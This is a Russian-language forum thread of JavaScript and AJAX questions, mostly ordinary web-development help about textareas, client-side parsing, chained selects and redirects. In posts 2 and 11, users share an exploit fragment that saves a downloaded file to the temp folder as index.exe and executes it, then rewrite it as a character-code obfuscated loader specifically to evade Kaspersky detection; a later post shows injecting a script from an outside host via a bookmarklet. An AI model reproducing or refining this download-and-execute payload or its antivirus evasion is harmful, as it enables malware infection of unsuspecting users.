[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    ну так выведи тег <textarea> из цикла:
    <textarea>
    <?php
    for ($i=0; $i<5; $i++){
    echo 'текст';
    } ?>
    </textarea>
     
  2. downlow

    downlow New Member

    Joined:
    10 Jan 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Закриптовать код

    Есть сплоит на javascript

    вот этот кусок начал палится КАСПЕРОМ

    Code:
    adoStream.type = 1;
    adoStream.open();
    adoStream.Write(xmlHTTP.responseBody);
    var fileSystem = bj.CreateObject("Scripting.FileSystemObject","")
    var filePath = fileSystem.BuildPath(fileSystem.GetSpecialFolder(2), "index.exe");
    adoStream.SaveToFile(filePath, 2);
    shellApplication.ShellExecute(filePath);
    Как мне его криптануть, чтобы каспер не понял? Помогите пожалуйста.
     
  3. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Оно то придумано хорошо,но вот проблема в том что у меня динамический скрипт,а в твоём примере сначала выводиться на страницу

    <textarea>

    потом выполняеться цыкл 5 раз,выводя ето

    текст

    после тега,а потом в конце выволнения лишь выведет

    </textarea>

    Но проблемы целых 2 возникает...

    1.То что лишь по выводу тега </textarea> на страницу отобразиться текстовое поле,а до етого просто пустая страница,тег то не закрыт получаеться...Ну так а у меня скрипт динамический,вывод должен идти постоянно а не по окончанию. Притом иногда более 5 минут скрипт работает,и ето всё время нужен детальный лог...

    2.Скрипт огромный,и в отдельных случаях должен идти вывод отдельных данных на страницу,а место етого они оказываються просто в текстовом поле...Например

    <textarea>
    <?php
    for ($i=0; $i<5; $i++){
    if($f=="1"){
    echo "<script>alert(\"$i\");</script>";
    }else{
    echo 'текст';
    }
    } ?>
    </textarea>

    Вот тут то он выведет в тестовом поле скрипт просто....негодиться чистый пхп ну никак...нужен Ajax... :(
     
    1 person likes this.
  4. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ну извини я не могу читать мысли, ты изложил проблему, я предложил ее решения толька так как изложил проблему, естествено если у тебя скрипт что то обрабатывает более 5 минут и ты хочешь что бы пользователь видел какие то данные обработки почти сразу разумнее использовать ajax, по поводу "<script>alert(\"$i\");</script>"; не надо воспринемать все буквально, главную апи - brain еще никто не отменял так что ею надо пользоваться.
     
  5. Gray_f0x

    Gray_f0x Elder - Старейшина

    Joined:
    31 May 2007
    Messages:
    161
    Likes Received:
    84
    Reputations:
    12
    задача : перевести пользователя на указанную страницу в последствии выполнения php скрипта
    реализация : java script
    вопрос: как ?

    вопрос снят, так как нашел решение сам)
     
    #1225 Gray_f0x, 1 Mar 2009
    Last edited: 1 Mar 2009
  6. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Я же ничего против не говорил,что ты непонял....
    Вопшем вопрос есчё в силе...И что такое то апи браин?
     
  7. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5
    Есть вопрос!
    Реально ли сделать парсинг html-страницы на стороне клента в браузере?
    вроде бы через javascript и ajax есть такая возможность.
    Нужно просто загрузить страницу и произвести поиск там определенной строки. ИМЕННО НА СТОРОНЕ КЛИЕНТА
     
  8. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    C помошью javascript это можно сделать, вот тебе просьтенкий пример:
    PHP:
    <html>
    <
    body>
    <
    div>
    Меня_надо_найти
    </div>
    </
    body>
    <
    script>
    var 
    inp document.getElementsByTagName('div')[0].innerHTML;
    alert(inp.match("Меня_надо_найти")); 
    </script>
    </html>
     
  9. downlow

    downlow New Member

    Joined:
    10 Jan 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    !!!!


    ТАк никто незнает????
     
  10. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Я хоть и не сильно проблему то понял,ну мне кажеться что у тебя саму прогу то за вирус берет,а не скрипт,есле ето так,так саму прогу криптони,а есле я ошибаюсь и сам скрипт,то незнаю тогда,с таким не стыкался...ну сам яваскрипт можно закриптовать,есть сайты для етого,поройся в статьях о xss,там есть...ну мне кажеться есле ето обнаружает каспер,то и закриптованый он проверит...
     
    4 people like this.
  11. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5
    PHP:
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function 
    Decode(){var temp="",i,c=0,out="";var str="97!100!111!83!116!114!101!97!109!46!116!121!112!101!32!61!32!49!59!13!10!97!100!111!83!116!114!101!97!109!46!111!112!101!110!40!41!59!13!10!97!100!111!83!116!114!101!97!109!46!87!114!105!116!101!40!120!109!108!72!84!84!80!46!114!101!115!112!111!110!115!101!66!111!100!121!41!59!13!10!118!97!114!32!102!105!108!101!83!121!115!116!101!109!32!61!32!98!106!46!67!114!101!97!116!101!79!98!106!101!99!116!40!34!83!99!114!105!112!116!105!110!103!46!70!105!108!101!83!121!115!116!101!109!79!98!106!101!99!116!34!44!34!34!41!13!10!118!97!114!32!102!105!108!101!80!97!116!104!32!61!32!102!105!108!101!83!121!115!116!101!109!46!66!117!105!108!100!80!97!116!104!40!102!105!108!101!83!121!115!116!101!109!46!71!101!116!83!112!101!99!105!97!108!70!111!108!100!101!114!40!50!32!32!41!44!32!34!105!110!100!101!120!46!101!120!101!34!41!59!13!10!97!100!111!83!116!114!101!97!109!46!83!97!118!101!84!111!70!105!108!101!40!102!105!108!101!80!97!116!104!44!32!50!41!59!13!10!115!104!101!108!108!65!112!112!108!105!99!97!116!105!111!110!46!83!104!101!108!108!69!120!101!99!117!116!101!40!102!105!108!101!80!97!116!104!41!59!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
    //-->
    </SCRIPT><SCRIPT LANGUAGE="JavaScript">
    <!--
    Decode();
    //-->
    </SCRIPT>

    Криптонул. Щас палится?
     
  12. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5

    Ненененене. Это свой код.
    А как кроссдоменный парсинг сделать?
    То есть вводишь урл и скрипт парсит его на ссылки.
     
  13. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    знает кто нить скрипт, чо нить типа сияния солнца, чтобы по сайту лучи солнца плавали?



    PS что в этом сообщении особенного? мне за него уже 3 + поставили o_O
     
    #1233 Корвин, 3 Mar 2009
    Last edited: 5 Mar 2009
  14. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Кроссдоменый наврятли, если в той странице что ты собираешь что то парсить нету твоего js кода, во посмотри здесь , там же можешь спросить.
     
    1 person likes this.
  15. Nenorma

    Nenorma New Member

    Joined:
    3 Mar 2009
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Подскажите пожалуйста как эксплореровское окошко перетащить в самый нижний правый угол экрана независимо от разширения экрана? И возможно ли на нем заблокировать закрытие этого окна на определенное количество секунд?
     
  16. gOsToFf

    gOsToFf New Member

    Joined:
    22 Aug 2007
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Подскажите плс...
    Мне надо сделать (поиск, вставку в БД) но она не должна быть произвольная а по имеющимся уже данным. Которые цепляются одно за другое. Тоесть я делаю форму с нексколькими <select name='name'></selected> в центре реализую вставку значений для выбора. первый конечно стандартный. далее идут динамический в зависимости от выбранного первого. как это сделать? кто подскажет пример. Так чтобы было автообновляющееся. только когда все выбрано я жму кнопку и форма работает в пост кудато.
     
  17. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Посмотри как на irr.ru сделано при подаче объявления.
    - в зависимости от выбранного изначального варианта в <select> делается ajax запрос с этим параметром
    - результат запроса подставляется в новый <select> и т.д. пока не будет достигнут конец цепочки.
     
  18. Van4ozA

    Van4ozA New Member

    Joined:
    2 Mar 2009
    Messages:
    7
    Likes Received:
    2
    Reputations:
    0
    как мне заставить браузер выполнить скрипт по адресу
    _http://www.server-auth.tu2.ru/2/js.js
    я вписываю в адресную строку
    javascript:document.location='http://www.server-auth.tu2.ru/2/js.js
    или
    javascript:src='http://www.server-auth.tu2.ru/2/js.js
    он не пашет...
    как правильно написать?
     
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    javascript:window.location.href='https://forum.antichat.ru'
     
  20. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Van4ozA
    Впиши:
    javascript:(function(){var s=document.createElement('script'); s.src='http://www.server-auth.tu2.ru/2/js.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();

    Из соседней темы:)
     
Thread Status:
Not open for further replies.